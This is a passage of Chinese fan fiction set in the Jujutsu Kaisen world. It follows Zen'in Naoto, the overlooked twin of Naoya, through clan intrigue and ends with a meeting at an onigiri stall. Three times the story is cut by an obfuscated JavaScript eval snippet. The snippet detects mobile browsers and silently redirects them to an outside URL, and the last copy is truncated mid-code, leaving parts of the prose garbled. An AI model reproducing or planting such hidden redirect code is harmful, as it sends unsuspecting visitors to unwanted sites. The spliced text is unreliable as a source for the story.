父亲突然笑了几声,直哉回头,看他拍了几下手,洪亮的嗓门响起来:“恢复得很快嘛。” 然后直哉看见他对旁边的一个下人说:“今天把他带到我那里去。” 把谁,带到去哪里呢? 直哉怔怔地站在原地,他又将求助的目光投了出去。 还是一样的,所有人都低下了头。 过了片刻,下人们开始忙碌起来,在门前进进出出地收拾东西,他们任由他一个人呆呆地站在那里,两只手绞动薄薄的衣摆。 母亲正恭敬地跪坐在父亲身前,听他说着什么。那些陌生的男人还是在盯着他看,有好奇的,有讥讽的,有不满的。 但孩子哪里懂得那么多情绪呢?他只知道,这些人连带着身上的味道,都是和他熟识的母亲还有下人们是不一样的。 是酒精、汗液,还夹杂着……令人作呕的呛鼻的不知道是什么的味道。 禅院直哉低头,看着自己赤裸的双脚。 身上的汗干了,屋外吹来的凉风一阵阵透在他身上,让他开始打颤。要是直人在就好了,直人不怕冷,还比他胖,因为他是一头猪,什么都吃得下去。直人身上总是热热的。 直人抱着他的话,就不会冷了。 可是, 直人在哪里呢? 直人在哪里? 直人在哪? 直人…… 眼泪好像又要掉出来。 终于有侍女过来,她试探地握住直哉的手。 “直哉大人,让我带您去更衣吧。” 直哉不记得下人们什么时候对他换了称呼。 他赌气地不肯走,嘴唇嚅嗫,不想让人发现自己喉咙里的哭腔。所以他故意凶狠地问道:“直人在哪里?” 这个声音,把父亲和妈妈的注意力都吸引过来了。 侍女有些慌张,诱哄地拉着他的手想把他带出去:“请先去更衣吧。” 父亲像突然想起似的,“直人……噢——直人去哪里了,我怎么没看到他?” “小孩子贪玩,一时也不知道跑哪去了,惠子去找他了。” 直哉听到妈妈这样说到。 直哉的眼泪再也控制不住,一种尖锐的愤怒从他小小的心脏里迸发出来,侍女意识到他马上又要开始发脾气,立刻把他拦腰抱起往屋外走。 把他失控的尖叫隔绝在了屋外。 禅院直毘人掏了掏耳朵,“看来我给自己找了个大麻烦。” “是妾身教养不周。” 禅院直毘人看着又低下头的夫人,随意地摆摆手:“无所谓,至于你刚才说的事——” “还是算了,直人那孩子就留在你这里吧,我可没有那么多空闲管两个孩子。” “可是两个孩子如果分开的话——” “就这样,小孩子的事情让他们自己解决,还轮不到我们操心。” 5. 【一】 “……直人?” 禅院直毘人歪着头,打量跪在底下的小儿子。 禅院直人恭敬地垂着头,听到父亲点出自己的名字,他略微抬起下巴,但视线依旧规矩地落在父亲脚前的榻榻米上。” “是。”他声音低弱,表现得怯懦。 他的脸完全地露了出来,方便禅院直毘人看得更清楚。 “唔……有些日子没看到你了。”禅院直毘人换了个姿势,他定定地看了直人两眼,带着毫不在意地口吻打趣:“真是的,和直哉长得完全不像了,你们小时候只看脸的话还真有点难区分呢。” 直人闻言又将头低了下去:“父亲大人说笑了,兄长大人天资卓绝,自然是与我不同的。” 禅院直毘人摆了摆手,脸上露出无聊的表情:“行了,叫你来也没别的事。过两天京都和东京的高专要办交流会,我打算让直哉替我去露个面。” 提起直哉,直毘人像遇到什么烦心的事情,用手搓了搓自己白花花的头发:“你跟着他一起去,盯着他,别让他又做出些丢人的事情。” “是。”直人的表情并没什么波动,他伏身行礼,额头轻轻抵在冰凉的地板上,“谨遵父亲大人吩咐,定当尽心竭力,辅佐直哉大人。” 他维持着俯身的姿势,直到听到父亲挥手让他退下的声音,才缓缓起身,垂着眼,倒退着离开了房间。 “对了,直人。” 在门即将合上的时候,直毘人的声音又从里传出。直人停在原地,颔首低眉:“您吩咐。” 直毘人从蒲团上站起,慢悠悠地踱步而来,他细小的瞳仁打量着直人瘦削的身形:“我以前问你的问题,你找到答案了吗?” 他停在直人身前,连带着醉醺醺的酒气,混杂着陈旧的灰尘的味道。 十八年前,直哉被带走的那天,直人第一次知道了咒力和咒灵的存在。 咒灵——是由人类负面情绪凝聚而成的诅咒实体,也就是直哉口中的怪物。 而天生拥有咒力,能觉醒术式,并能祓除诅咒的人,就是术师。 直人也知道了在禅院家看不见咒灵的自己,才是少数的无用之人。 「你有个堂哥,叫甚尔。他和你一样,是咒力为0的天与咒缚。」 这是禅院直毘人第一次同直人谈话,他看着因为与兄弟分别,而哭得眼眶红肿的直人,并没有表现出丝毫的怜爱,只露出些许好奇,他问直人: 「那你呢,直人?上天拿走了你的咒力,又给了你什么作为交换呢?」 八岁的孩子给不出父亲答案。 “你现在知道了吗?”直毘人又一次问了直人这个问题。 直人低着头,沉默在父子二人间蔓延,直毘人似乎难得成为了一个颇有耐心的父亲,静等倾听直人的回答。 半晌,直人倾身,眼睛看向地面:“儿子愚笨,至今未能参透。” 禅院直毘人闻言,发出一声意味不明的哼笑。他抬手拍了拍直人的肩膀,力道不轻不重,却让直人的身体微微偏斜。 “愚笨?”直毘人重复着这个词,浑浊的酒气随着他开口,更加浓烈地笼罩下来,“你母亲在世的时候,总说你性子直,脑筋不会转弯。我看未必。” 他的手指在直人单薄的肩胛上停留片刻,像是在掂量什么物件。 “上天没给你咒力,也没给你甚尔那样能撕碎咒灵的筋骨。”他的声音低沉下去,明明看着像是父亲和儿子之间亲昵的交谈,但禅院直毘人声音中的探究却透着残忍,“它总得给你点别的什么,让你能在禅院家活下去,不是吗?” 禅院家有过很多不合格的孩子。他们没有天赋,没有能力,来不及长大就沉默着死掉了,哪怕是家主的儿子也不例外。 倘若你弱小如蝼蚁,在直毘人数不清的儿子里,他的视线还没落到你身上,你就已经被碾死了。 直人依旧垂着眼睑,目光落在父亲随意岔开的足袋上。 “或许……”直人顿了顿,喉结轻轻滚动,“是让儿子学会了认清本分。” “本分?”直毘人像是听到了什么有趣的事情,低笑出声,胡子快活地翘起来:“什么样的本分?像影子一样跟着你的兄弟,替他打理那些他不屑于处理的琐事,还是在他冲动时跪下替他道歉的本分?” 直人没有回答,只是将头埋得更低。 直毘人又说:“真希前段时间已经离开家,去了东京。那个不知天高地厚的小妮子说她将来会当上禅院的家主,你对此怎么看?” “真希……” 直人斟酌着,头低着,目光却往外廊飘。 直毘人失了耐心,径直打断:“我对此毫无异议,自古以来禅院的家主一直都是能者胜任,不是谁的囊中之物。” 这话说得颇有意味,直人只能保持沉默。 他能感受到,禅院直毘人压在他脊背上的视线的重量。 “我知道,你以为我在敲打你们两个。毕竟直哉早就默认家主的位置是他的,你也这么想的。” 直人哐的一声跪下来:“儿子不敢妄议家事。” “不敢?我不是在打压你——”直毘人看着他的这个最不起眼的儿子,“我倒希望你敢。” “直哉现在活像池塘里只管等着投食的鲤鱼,他的日子太顺风顺水了。更何况,真希都敢想,你为什么不敢?” “……儿子庸碌无为,兄长风采非我——” “算了!”直毘人一甩衣袖,从腰间抽出酒壶,仰头往嘴里灌了一口。 酒液顺着嘴角滚落,吧嗒几声滴在直人跟前,溅在直人的手背上。 “你走吧。”直毘人的声音里显出浓浓的无趣,“记住你刚才答应的事。看好直哉,别让他再闹出什么让我不得不操心的事情来。” “直哉可以丢脸,但禅院不能,尤其是在五条家的小子面前。” “是,谨遵父亲教诲。”直人俯身行礼,额头再次触碰到地板。 “还有,”直毘人看了眼直人身上明显不合身的练功服,说:“以后直哉的生活费转一半给你,也该叫他学学节省了。” 直人想说什么,但直毘人懒得听,径直转身回了里间。待直毘人的脚步声消失,直人慢慢起身,弓着身子向后退了几步,合上了门。 安静的长廊只守着几个炳和躯俱留的护卫。直人站直身体,廊下的灯落在他头顶,打下一片阴影,将他面目轮廓勾得更深。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887246|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实他的五官细看之下和禅院直哉并没有分别。 毕竟是一母同胞的双生兄弟。 只是他比直哉更瘦,但更高。但相比他总是喜怒生动的兄弟,直人显得阴郁,一副病恹恹的样子。时间长了,很少再有人想起:啊,他俩是双胞胎呢。 直人擦了擦手背上已经干涸的酒液,转身一步步走在过道,脊背习惯性地弯下一个弧度。 路上遇到的禅院家其他的人,他们看到他先是一顿,然后安静地让在路的两边。 有的人怯怯地喊他一声大人,有的人则别开脸,装作什么也没看见,脸上是掩不住的鄙夷。 直人对此都置若罔闻,视线只落在往前几步的地板上,没有停顿过。 他们对他的态度大多来源于他的兄弟,毕竟直人本身是个默默无闻的人。 只是仗着他长着和直哉一样的脸,是如今风头最盛的继承人人选唯一的同母兄弟,才有了现如今的待遇。 在走到直哉的院子的时候,直人看到了真依。 短发的堂妹守在直哉房间门口,她身上还穿着高专的校服,她低着脑袋,死死咬住下唇。 “真依?” 真依猛地一抖,她抬起头,看到来人是直人,像劫后余生般悻悻地叫了一声:“直人哥。” “怎么回家了?”直人走到真依跟前,瘦小的表妹几乎被他完全笼住,他看了眼紧合的房门,又看向真依:“直哉不在?” “……”听到直哉的名字,真依刚缓和的脸色又紧绷起来,她嘴唇嗫嚅,半天挤出一句:“他还没回来。” 她声音很低,勉强才钻进直人的耳朵。 直人了然,他伸手揽住真依的肩膀,真依自然地靠在他怀里。真依和真希两姐妹算是直人带大的,两姐妹小时候都对他很依赖。 只是真希长大些后,她比真依更要强,也不肯再像以前那样和直人亲近。 “真希呢,好久没看到你们两个在一起了。”直人俯身和真依说话。 自从真希去东京后,好像就没再回过家。 “她不会再回来了。”真依的语气里带着冷漠的愤怒,她移开视线不愿看直人的眼睛。 “……你们吵架了?” 直人像以前哄两姐妹那样,在真依面前蹲下,握着她的两只手,仰着脸让真依看着自己。 真依还是一副冷脸。 “亲姐妹哪有隔夜仇的。”直人说话还是轻轻的,抬手帮真依把头发拨到耳朵后面。 真依的嘴动了动,直人耐心等了一阵,她的声音终于从齿缝里挤出来:“是她先不要我的——她把我丢在了这里——” “她不是不要你,真依。” “她就是,我没有这样的姐姐!”真依喘了几口气,她的声音冷静下来,但再开口的时候带着更浓稠的恨:“她这种废物和我没有一丁点关系,死在外面再好不——” “真依。”直人打断她。他站起身,扶着真依的肩膀正想说什么,身后突然传来一道张扬的声音—— “真依,你抱着我的弟弟做什么呢?” 直人和真依回头,漂着一头金发的禅院直哉站在那里,脸上挂着轻飘飘的笑。 6. 【二】 原本和直人一样乌黑的头发,漂成了灿烂得过分的金色,扎眼得让昏暗的走廊都跟着亮堂起来了,硬生生把他身上那件传统的深色和服衬出了一股格格不入的轻浮。 真依明显缩了一下,下意识往直人身后躲,但她看见直哉瞬间不虞的脸色,身体顿时僵住。 她的脚步往后挪了半步,脑袋低垂下去,先前对着直人时那点带着怨气的生动神情瞬间消失得无影无踪,只剩下一种紧绷的顺从。 直人没动。 他的目光定在直哉的头发上,内心平静到失语。他甚至有闲心想,直哉居然已经成长到,有耐心去理发店坐着漂头发。 直哉很满意他们两人的反应。 他嘴角翘得更高,几步走到直人面前,微微扬起下巴:“你们这是什么表情?” 直哉抬手将刘海往后捋,更全面地向直人展示他的新发型:“怎么样,长着这么完美的脸蛋,无论什么样的发型都适合我。” 说完,他还颇有些嫌弃地撩开直人额前遮挡视线的长发,点评:“土死了,一点也不像我的弟弟。” 直人喉结滚动,嘴唇愈发干燥。 半晌,他挤出一句:“你还记得,一周后的交流会你要出席吧?” 直哉从鼻腔里发出一个短促的哼声,算是认同。 直人伸手,两根手指捻起直哉金灿灿的发丝:“你是不是疯了,这么浮夸的发色。” 直哉一把拍开直人的手。 “你懂什么。”他满不在乎地甩了甩头发,“老头子就是太死板。悟君那头白毛不也招摇得很?” “他那是天生的。”直人收回手,声音没什么起伏。 “那我也是天生的。”直哉眉毛竖起来,耳廓上的耳环晃得当啷作响,“你现在也去染个一样的不就行了。” “你说什么呢,他们又不是没见过我们——”意识到和直哉纠缠这一点根本就是浪费精力的事,直人大声叹了口气。 真依在他身后大气也不敢出,直人回头看了眼她发白的脸色,声音放缓:“你先回学校去。” 真依如蒙大赦,她正想转身,可突然浑身汗毛耸立。她缓慢地转脸瞟向直哉的脸色,正好和直哉的目光对上。 “站住。”直哉叫住她,脸上露出一个笑,奈良口音慢悠悠的:“我好像没允许你走。” “你又叫她来干什么?”直人侧身,双手叉腰完全挡住真依。 “你这是做什么?”直哉微微蹙眉,做出一副被冤枉的伤心表情。他歪头看向直人身后的真依,语气真挚:“下周就是交流赛,做哥哥的,帮妹妹加训辅导一下功课,很正常吧?对么,真依?” 真依低头看着脚面,面上一片麻木。 直哉嗤笑一声,绕过直人,一把抓住真依的手腕。 “加训。”他重复道,手上用力,“你现在这点本事,去了也是给禅院家丢脸。” 真依疼得浑身一震,却不敢挣脱。 “我看你是闲得发慌。”直人冷眼看着直哉,“你有这个精力,不如去盯着点直贺。” “直贺?”听到这个名字,直哉眉眼间这下真真的有些不快了:“那个扑棱蛾子又想干什么?” 直人没回答他。嘴角因为放松下撇着,脸上没什么表情。 直哉松开真依的手腕,在真依的衣摆上擦了擦指尖。 “滚吧。”他对真依说。 真依脚步一软,但立刻转身离开,一步也没回头。 “所以他又干什么了?” 直哉拉开门,和直人一起进了房间。 “他申请了一级评定,父亲答应他,如果他成功通过考核,就让他做炳的二把手。” “就他?加茂庶出女儿生的庶出杂种也敢肖想和我平起平坐,他难道不知道,有些一级和一级之间的差距比人和猪的都大。” 直哉自语行间全是对他们这个兄弟的不屑,他丝毫不觉得直贺真的能构成什么威胁,只是有种点心被苍蝇爬了的晦气。 “但至少明面上你们两个都是一级。”直人不赞同地看向直哉。 后者大咧咧在蒲团上坐下,还把一路拎回来的章鱼烧放在案桌上推给直人,语气轻飘飘地邀功:“怎么样,没记错吧,加了超多的木鱼花。” 直人没搭理,只继续直白地述说事实:“直贺比你更受欢迎,等他真的成了副首席,说不定你会被架空。” 直哉拿起竹签的动作顿了一下,随即狠狠地扎向一颗章鱼烧:“一群杂鱼。” “杂鱼聚多了也能咬死人。等他成了气候,就晚了。” 直人盘腿坐在直哉对面,他习惯性地垂着头,眼睛从稍长的刘海下面看向直哉。 直哉晃动着手里的竹签,章鱼烧上过多的木鱼花随着他的动作左右飘动。 “……你不是已经发现了吗?”直哉插起那颗章鱼烧,他看向直人,笑得眯起眼睛,声音甜腻:“既然你已经发现了,就不算晚。” 直人看着那颗颤巍巍的章鱼烧,没接话。直哉也不在意,手腕一转,塞进了自己嘴里。 “所以呢,”直哉嚼着食物,声音有些含糊,“你打算怎么做?” 直人说:“父亲不喜欢禅院家的人在社会上闹出太多麻烦,这会让五条和加茂看笑话。” 他顿了顿,看着直哉:“直贺最近很喜欢摩托车,还在东京结交了一些暴走族。” 直哉捏着竹签的手停住了。他抬眼,和直人对视。 “摩托车?”直哉重复了一遍。 “是。买了很贵的车,晚上常去盘山公路。”直人语气平淡,但有些遗憾,“他车技似乎不太好。” 直哉嘴角慢慢扯开一个笑容,他丢掉竹签,身体向前靠近直人,胳膊撑着案桌。 “哦?车技不好还玩命,真是……”他拉长语调,尾音带着愉悦的残忍,“……勇气可嘉。” “动静别太大。” “我会让他和他那个母亲一样安静的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887247|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 直哉双手合十贴在脸侧,笑眯眯地做出安睡的动作。 直人依旧没什么表情,垂着眼,一副不大精神的样子。 “老不死的叫你去干什么?”直哉终于想起了正事。 “让我跟你一起去交流会,看着你别在五条面前丢脸。” 直哉脸色瞬间阴沉:“轮不到他来说我!” “那你别做会被说的事。”直人指着直哉的头发,“已经三十岁的人了还这么叛逆。” “你跨越时空了?不过你看着老得的确像有三十岁的。”直哉反唇相讥,“要不要我扒开你的衣服让你自己看看,你身上有多少纹身。” 直人看了他一眼,没搭话。 直哉还没说够:“我从刚才就想说了,你身上的衣服怎么回事,我记得我有每月转钱给你,你做出这副被虐待的样子给谁看,丑死了!” 直人起身,往门外走:“走了。” “站住。”直哉叫住他,语气不快,“谁准你走了?” 直人停在门口,没回头。 直哉走到他身后,扯了扯他身上那件明显不合身的旧和服:“穿得像个乞丐,明天我让人给你送几件新的。” “用不着。”直人说,“父亲把你的生活费砍了一半给我。” 直哉一愣,随即暴怒:“什么?!” “他说你该学学节省了。”直人拉开门,跨了出去。 直哉一把按住门板,力道大得让木框都在震。“你他妈再说一遍?” 直人终于回头看他,头发底下的眼睛眼尾向下耷拉着,眼神平静得像死水。 “他说,”直人依言又说了一遍,“你的钱,现在有一半是我的。” 直哉盯着他那张和自己一模一样却又截然不同的脸,胸膛剧烈起伏,咬牙切齿地憋出一句:“妈的,我本来就会分一半给你——” 这句话不知道怎么把他自己刺到了,直哉一把拽住直人的衣领,怒吼:“你把我之前转你的钱还回来!全部!还回来!” 直人别开脸,望着天花板语气平平:“已经花了。” “你放屁!”直哉攥着他衣领的手更紧,“你这种连新衣服都从我衣柜找的守财奴,能花到哪里去?” “……” “说话!” “哪里有哥哥给弟弟的钱,还让弟弟还回来的。”直人眼珠子动了动,慢吞吞地说:“你是我亲哥没错吧?” 禅院直哉脸色变了又变,半晌,他猛地松手,冷笑: “行啊。”他退后一步,眼神讥诮,“那你可要……好好花。” 直人理了理发皱的衣领,对直哉扯出一个笑,标准地露出几颗牙齿,然后转身离开。 直哉被他弄得火大,他回到房间,看到桌上直人一口没动的章鱼烧,又气冲冲地冲到走廊上对着直人的背影大喊: “你有本事今晚就给我睡在外面,不许回来!” 直人头也不回,抬手比了个OK。 7. 【三】 出乎直人意料的是,真依没走,她守在禅院家的大门口,一脸踌躇。 看到直人出来,真依眼睛一亮。 很明显,她在等他。 “真依。”直人的声音不高,“不是让你回学校吗?” 真依张了张嘴,声音卡在喉咙里,眼神躲闪着往直人身后看。 “他没和我一起。” 直人的话像定海针,真依平复了很多。她鼓起勇气直视直人:“直人哥……我……”她顿了顿,语速急促起来,“谢谢你……又帮我解围。” 双胞胎姐妹近来都步入了青春期,都变得别扭,不擅长坦诚。 真依的脸红通通的,为此感到难为情。 直人看着她,没说话,只是微微偏了下头,示意她继续。他了解真依,如果只是道谢,她不会特意等在这里。 果然,真依深吸一口气,她又提起了她远在东京的姐姐:“真希……”真依别开脸,接下来的话令她难以启齿。 “怎么了?”直人上前,手安抚地搭在真依肩上,他俯身看着真依的眼睛,补上之前被直哉打断的话:“真依,别说违心的话,你们是亲姐妹,别让对方难过。” 真依像是终于下定决心,她继续说:“真希她说……她说她总有一天要当上禅院家的家主!” 她说完,眼睛一眨不眨地盯着直人,里面带着紧张的希冀。 像是在期待什么,或者等待直人的认同和肯定。 直人搭在她肩上的加重了点力道,随后,他拍了拍她的肩膀,直起了身。 他的身影在门廊投下的阴影里显得更加瘦长,略微俯视着真依。半晌,他开口,声音比刚才低沉了些,但还是很平静: “你们还只是孩子,不懂事,说些意气用事的话很正常。” 直人略作停顿,他的表情隐在廊下的阴影里,真依要仰头才能看清他的脸。 他接下来的话语调依旧平稳,带着淡漠的宽容: “但这种话以后别再说了。” “直哉听到会不高兴的。” 听出直人言下之意的真依脸色一白,心如死灰。她垂下头,讷讷地应了声是。 直人沉默片刻,他看着这个从小跟在他身后的堂妹,脸上的线条突然柔和下来,他抬手,像她小时候那样揉了揉她的头发。 “行了,快回学校去。”真依应声抬头,对上直人因为微笑微微下弯的眼睛,直人戳了下她的额头:“你的朋友们等着你呢。” “只是普通同学的关系。”真依干巴巴地纠正。 贴心地不揭穿妹妹的口是心非,直人揽着真依的肩膀往外走:“还有一周交流赛,这个星期就别回家了,好好在学校准备吧。” 真依感激地看了直人一眼,刚要点头有些犹豫,脸色难看。 直人看出她的为难,轻声说:“我会和直哉说的,你出任务很辛苦吧,多留些时间在校舍休息,你妈妈我会帮你照顾的。” 真依终于点了点头,小声说了句:“谢谢直人哥。” 她转身走下禅院家门口的石阶,走出几步,又停下来,回头看了直人一眼,嘴唇动了动,最终还是什么都没说。 直人朝她挥了挥手,脸上还挂着浅淡的笑。 真依也笑了笑,然后脚步轻快地离开。 直人站在原地,看着她的背影消失在转角,脸上那点刻意挤出来的柔和瞬间垮掉,只剩下深不见底的疲惫。 他抬手揉了揉一直僵着的后颈,慢慢吐出一口浊气。应付完直毘人,再来应付真依,让他感觉像是连续打了两场硬仗,骨头缝里都透着累。 他独自沿着长廊往回走,脚步比来时更沉。 周围偶尔有下人经过,恭敬地避让到一边,低眉顺眼地喊他“直人大人”。 他仍然不做回应,视线落在脚下光洁的木地板上,脑子里却反复回响着真依那句话—— 「真希她说她要当上禅院家的家主。」 直人面色阴郁。 直毘人说得没错。 两兄弟已经默认家主之位会是直哉的。 直人在自己房间门口停下,他并没有完全搬进直哉的院子,虽然这个房间小又偏僻,但至少清净。 他推开门进去,里面昏暗狭小,没什么物件,在靠左的角落里供奉着母亲的牌位。 直人换了身衣服,净了手,点燃三炷香,插进香炉里。 他看着母亲的名字在烟雾后模糊不清,心里异常平静。 他不像母亲希冀的那样,把希望寄托在神明和丈夫的良心上。 他只有直哉,这个暴躁、愚蠢,却又和他流着同样血液的兄弟,在这样的家里,他只有依附着直哉才能活着。 但他仍然双手合十,乖顺地作揖,母亲,看在我日复一日如此供奉着您的份上,请保佑直哉能顺遂地登上家主之位吧。 放下手,直人又觉得自己有些可笑。 一个活着的时候尚且没有话语权的女人,死去了又能为她的儿子做些什么呢? 隔壁房间传来声音,紧接着,连通两个房间的隔断门被拉开,惠子走了进来。 近二十年的光阴并没有对这个女人留情,惠子盘好的发髻上已经有了深深浅浅的银发,连带着眼尾和嘴角也有了皱纹。 惠子并未对此表现出丝毫的愤懑,她顺从地接受时间带给她的一切,就像几十年来接受禅院给她带来的折磨那样。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887248|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >惠子手上端着饭菜,她将餐盘放在案桌上,为直人布筷。 直人没动。他盯着香炉里升起的细烟,忽然开口:“真希说她想当家主。” 惠子摆放筷子的手顿了顿,没接话。 “她凭什么?”直人转过身,声音很轻,却带着刺,“一个连咒力都没有的废物。” 惠子沉默地盛好饭,推到直人面前。 “直哉大人知道了吗?”她终于问。 “暂时还不知道。”直人扯了扯嘴角,“知道了会发疯的。” 直哉最恨别人觊觎他的东西。 他在矮桌前坐下,拿起筷子,却又放下。 “我会帮直哉坐上那个位置。”直人说,“不惜一切代价。” 惠子仍不说话。 直人倾身,高挑的半身轻而易举地越过案桌,他仰起脸去看惠子,声音轻轻的,乖巧地询问:“我做得好吗?” “如您教导的那样,我虔诚地将直哉当成我的主人侍奉,就像您侍奉我的母亲。” 惠子终于看向他,眼神平静:“您做得很好。” 直人嗤了一声,起身离桌。 “您今天不应该激怒他。” 惠子的声音从他身后传来。 “他每天都生气,不差这一件事。” “您需要他的庇护。”惠子提醒他。 “我需要的是一个能坐上家主之位的兄弟。”直人纠正,“如果他连这点小事都承受不住,那我们还不如早点找棵结实的树吊死。” 他说得粗俗,惠子却像是没听见。 “那您大可选择其他人。” “谁?”直人侧过脸,讥讽道:“甚一、直贺、兰太,还是真希?” 惠子垂下眼:“这是大人您需要考量的事。” 直人不再有和她交谈下去的欲望,准备离开的时候惠子的声音又响起了。 她伏在地上,额头抵着地板,做出谦卑的姿态:“直人大人,请您不要把直哉大人当做兄弟看待。他是君,您是臣,你们本就是不一样的。” …… 直人拉开门,头也不回地走了出去。 君臣。 饶是母亲在世的时候,即使直哉已经被父亲接走,母亲仍对直人说: 「你们是兄弟,是我的孩子,你们是一样的,没有高低贵贱之分。」 当她这样对直人说的时候,惠子就安静地跪在一边。 或许是出于怨恨,或许是出于报复。 在母亲去世,直人被迫搬离母亲的院子,和惠子生活后。 惠子牵着直人的手来到直哉面前。 「跪下吧,直人,直哉大人以后就是你的主人了。」 8. 【四】 禅院直人掏出手机看了眼时间,刚过了午后,院子里的阳光正烈。 他觉得今天格外漫长,折腾了那么多事,居然才这个点。 直人没再停顿,往训练场去。 今天京都府立体育馆有大型赛事,因为前不久那里诞生过一个特级咒胎,虽然已经被当场祓除,但政府不放心,还是通过咒术高层联系御三家,要求御三家各出几个人去配合警方做现场的治安维护。 即使收了钱,但直毘人显然没把这事放在心上,只让人带几个躯俱留的过去意思一下。 这种杂事一向是直人负责。 训练场空地上,稀稀拉拉站了五六个年轻人,都应要求穿的常服。 站在最前面的是兰太,他是隶属于炳的,虽然术式不错,但因为年纪太小,炳的前辈都不愿带他出门,所以他抓紧机会缠上了直人。 “直人哥,人已经到齐了。”兰太见他来,兴奋地汇报,辫子在脑后扫来扫去。 直人嗯了一声,目光从几个队员脸上扫过。他们大多低着头,或看着别处,没人愿意同他对视。 “走吧。”他没多话,转身就在前头带路。 一行人沉默地穿过禅院家曲折的回廊,走向大门。 午后的日头毒得很,明晃晃地照在头顶,晒得人皮肤发烫。 直人能感觉到背后那些目光,小心翼翼的,带着点探究。 他知道他们在想什么。一个没有咒力的废物,不过是仗着和直哉大人一模一样的脸,才能在这里对他们发号施令。 他懒得理会。 一路上只有兰太在说话,追着直人确认任务的各项细节。他看上去很珍惜这次任务机会,虽然只是个最基础的安保工作。 但直人知道,他一直是个很认真的孩子。 京都府立体育馆离禅院家不算近。 到了地方,和等在那里的警方负责人对接,拿到禅院负责的区域图,安排躯俱留分散到指定区域配合清场和巡查,一套流程直人做得熟练又麻木。 咒灵一般倾向于出现在室内,或者一些狭小阴暗的角落。 总算是有点好处,至少不用在这个天气守在室外。 直人的汗水顺着额角滑下来,滴进衣领。 他讨厌夏天,为什么夏天还不能快点过去。 他扯了扯领口,头一次觉得当初纹身的时候直哉的劝诫不无道理,至少现在能穿件短袖。 难得直哉也有说对话的时候。 兰太指挥着那些人拉警戒线、检查角落。做完这些,他几步跨上看台来到直人身边,语气带着雀跃:“今天的排球比赛听说都是职业球员。” 毕竟才十二岁,难免对家族外的事物感到新奇。 观众陆续进场,身材高大结实的运动员们也已经在台下开始热身。 直人的视线扫了两眼,只注意到其中一个运动员的头发也漂着很惹眼的金色,这让直人立刻想到直哉。 想到五条悟很可能在交流会上借此嘲笑直哉,而后者大概率会恼羞成怒却又打不过对方…… 直人烦心地移开眼。 虽然他清楚,即便直哉不染发,五条悟也能找出一万个理由来挤兑他。当然,更多的时候都是直哉先挑事,毕竟五条悟也不是个闲得发慌的人。 “好香。”身旁的兰太喃喃道,他的目光粘在行人手上拎着的包装袋上。 直人顺着他的视线看去,注意到不少入场观众都拿着印有统一logo的纸袋,里面装着热气腾腾的饭团。 兰太不自觉地耸了耸鼻子,悄悄咽了下口水。 他抬头对上直人的目光,瞬间脸色爆红。 “对、对不起!” 直人没说什么,只拦了个路人,问清饭团是场外一个移动摊位上买的。 他扫了扫周围,随着人越来越多,场内的声音愈发嘈杂,让他有些不适。直人讨厌吵闹的环境。 “我去给你买。”直人对兰太说,“你在这盯着。” 兰太愣了一下,连忙摆手:“不用不用,直人哥,我、我就是随便说说……我已经吃过午饭了,真的!” “没关系,”直人笑了下,“里面太闷了,我就当出去透透气。” “有什么偏好的口味吗?” “没有,什么味道我都可以!” 直人点点头,转身穿过拥挤的人流走出场馆。 摊位不难找,直人刚走到贩卖区就隐隐闻到蒸熟的大米香气,他看过去,发现一个饭团摊位面前排了一条队,边上挂着的横幅上写着饭团宫。 和他看见的那些包装袋上的店名是同一个。 直人排在了队伍末尾。 他前面是几个叽叽喳喳讨论着等下比赛的学生,声音尖利,让他忍不住皱了皱眉,往旁边挪了半步,试图隔绝一些噪音。 前面的女学生被一道细长的影子笼罩,下意识转头,她仰起脑袋看清直人的脸后面颊一红,立刻扭回去,用胳膊肘捅了捅同伴的腰。 她朋友不解地回头,看见直人的脸后,也做出了一样的反应。 虽然不懂她们在干什么,但好歹是安静了。 队伍前进得不算慢,很快,直人就能看清摊位后面的全貌。 一个戴着黑色鸭舌帽的年轻男人正低头忙碌着,帽檐下露出利落的黑色发茬。他穿着简单的黑色短袖,即便如此,也能看出肩背处流畅而结实的肌肉线条。 他动作熟稔地打包饭团,神态专注,将包装好的饭团递给顾客的时候,他才终于抬起眼露出灰褐色的眼睛,用很浅的微笑送别客人:“谢谢惠顾。” 很好看的男性。 很快,轮到了直人。 此时比赛即将开场,他身后已经没有其他顾客。 橱窗里所剩的饭团已经不多。 “抱歉,剩下的不多了。”店主顺着他的目光看去,语气带着些许歉意。 带着口音的声音也很好听。 直人的视线放到店主的脸上,这下他看得更清楚了。鼻梁很高,是浓眉大眼的标准帅哥。面庞还有些许青涩,应该年纪不大。 一直盯着别人看是不礼貌的行为,于是直人又不动声色地把注意放回了橱窗。 在直人看着宫治的时候,宫治其实也在悄悄观察直人。 